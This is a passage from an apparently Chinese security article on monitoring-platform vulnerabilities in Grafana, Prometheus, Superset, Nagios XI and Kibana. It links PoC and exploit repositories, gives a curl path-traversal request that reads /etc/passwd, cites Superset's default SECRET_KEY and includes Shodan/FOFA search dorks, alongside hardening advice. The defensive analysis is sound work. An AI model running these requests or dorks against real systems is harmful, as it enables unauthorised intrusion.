关键 PoC 仓库 Grafana XSS :https://github.com/kljunovski/cve-2023-4456 — Angular 沙箱逃逸 PoCGrafana 路径穿越 :https://github.com/chorae-grafana/CVE-2024-9264 — 路径穿越检测脚本Superset 默认密钥 :https://github.com/horizon3ai/CVE-2023-49923 — 会话伪造工具Kibana Timelion RCE :https://github.com/mpgn/CVE-2019-7609 — 完整的 Timelion RCE 利用框架Nuclei 模板集合 :https://github.com/projectdiscovery/nuclei-templates — 包含上述所有漏洞检测模板验证思路(防守型) # Grafana XSS
nuclei -u http://target:3000 -tags grafana,xss
curl -s "http://target:3000/api/health" | jq '.version'
# Grafana 路径穿越
nuclei -u http://target:3000 -tags grafana,path-traversal
curl -s "http://target:3000/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
# Prometheus XSS
nuclei -u http://target:9090 -tags prometheus,xss
curl -s "http://target:9090/-/healthy"
# Apache Superset
nuclei -u http://target:8088 -tags superset
curl -s "http://target:8088/login/" | grep -i "superset"
# Nagios XI
nuclei -u http://target:80 -tags nagios
curl -s "http://target/nagiosxi/api/v1/system/status"
# Kibana Timelion
nuclei -u http://target:5601 -tags kibana,rce
curl -s "http://target:5601/api/status" | jq '.version.number' 0x09 共性攻击模式 9.1 前端渲染引擎是 XSS 的永恒入口 Grafana 的 Angular 模板 XSS(CVE-2023-4456/4821)和 Prometheus 的 UI XSS(CVE-2024-6104)揭示了一个共性规律:任何支持用户输入并动态渲染的 Web UI 都是 XSS 的潜在入口 。Grafana 因历史遗留的 AngularJS 面板未能及时清理,Prometheus 因 React 组件未对 URL 路径充分编码。监控平台的 UI 通常支持丰富的表达式语言和数据绑定,这为 XSS 提供了更大的攻击面。
9.2 默认配置 = 致命弱点 Apache Superset 的默认 SECRET_KEY(CVE-2023-49923)是一个典型的"配置即漏洞"案例。许多开源项目在开发阶段使用硬编码密钥,发布后依赖管理员修改。但大量生产实例从未修改默认值,使得攻击者无需任何技术突破即可接管系统。这种模式在 Superset、Grafana(默认 admin/admin)、Kibana(早期版本无认证)中反复出现。
9.3 路径穿越是路径处理函数的通病 Grafana CVE-2024-9264 再次证明,Web 应用在处理文件路径时如果未进行严格的路径规范化和边界检查,攻击者就可以通过 URL 编码的 ../ 序列穿越到任意目录。监控平台通常部署在 Linux 服务器上,路径穿越成功后可直接读取系统文件和配置文件。
9.4 表达式引擎 = 远程代码执行 Kibana Timelion(CVE-2019-7609)的漏洞本质是表达式引擎的不安全设计 。当表达式引擎允许用户定义的计算逻辑直接映射到底层系统调用时,RCE 就不可避免。Grafana 的 Angular 表达式沙箱逃逸也是同一模式——表达式引擎的沙箱机制不够完善,攻击者可以通过原型链逃逸获取原生执行能力。
9.5 认证机制的碎片化缺陷 Grafana OAuth 绕过(CVE-2023-3428)和 Nagios XI 认证绕过(CVE-2023-40913)展示了认证机制实现中的碎片化缺陷。OAuth 集成涉及多个协议层(OAuth 2.0 / OIDC / SAML),每一层都可能引入验证遗漏。Nagios XI 的认证绕过则源于不同 API 端点之间的认证策略不一致。
0x0A 防守建议 10.1 紧急措施 立即升级 :
Grafana → 10.2.3+ / 11.2.1+ Prometheus → 2.53.1+ Apache Superset → 3.0.2+ Nagios XI → 5.11.0+ Kibana → 6.6.1+ / 7.x+ 修改默认凭证和密钥 :
Grafana:修改 admin 默认密码,禁用匿名访问 Superset:必须修改 SECRET_KEY ,使用随机生成的强密钥 Kibana:启用 X-Pack 安全功能,配置认证 网络隔离 :
所有监控平台不应直接暴露到互联网 通过 VPN 或堡垒机访问管理界面 使用反向代理限制源 IP 10.2 排查清单 # 1. 检查 Grafana 版本和配置
curl -s http://localhost:3000/api/health | jq .
grep -r "allowed_organizations" /etc/grafana/
# 2. 检查 Superset SECRET_KEY 是否已修改
grep "SECRET_KEY" /app/superset_config.py
# 如果输出为 'thisISaSECRET_1234' 则存在风险
# 3. 检查 Prometheus 版本
prometheus --version
# 4. 检查 Kibana 版本和认证配置
curl -s http://localhost:5601/api/status | jq '.version'
grep "xpack.security" /etc/kibana/kibana.yml
# 5. 检查 Nagios XI 版本
cat /usr/local/nagiosxi/var/xiversion
# 6. 检查所有监控平台是否暴露在互联网
# 使用 Shodan / FOFA / Hunter 搜索
# Shodan: "grafana" port:3000
# Shodan: "prometheus" port:9090
# FOFA: app="APACHE-Superset" 10.3 中期加固 启用审计日志 :记录所有登录事件、面板创建/修改、数据源配置变更最小权限原则 :为不同角色配置精细的 RBAC 策略禁用不必要的功能 :关闭 Grafana 的 Angular 面板插件、禁用 Kibana 的 TimelionMFA :所有管理界面强制启用多因素认证定期扫描 :使用 Nuclei 模板定期扫描监控平台漏洞10.4 长期策略 零信任架构 :监控平台之间的通信使用 mTLS 加密供应链安全 :定期更新监控平台依赖库,关注安全公告容器化部署 :使用容器运行监控平台,限制文件系统访问范围安全基线 :建立监控平台安全配置基线,纳入自动化合规检查应急响应预案 :制定针对监控平台漏洞的专项响应流程0x0B 参考资料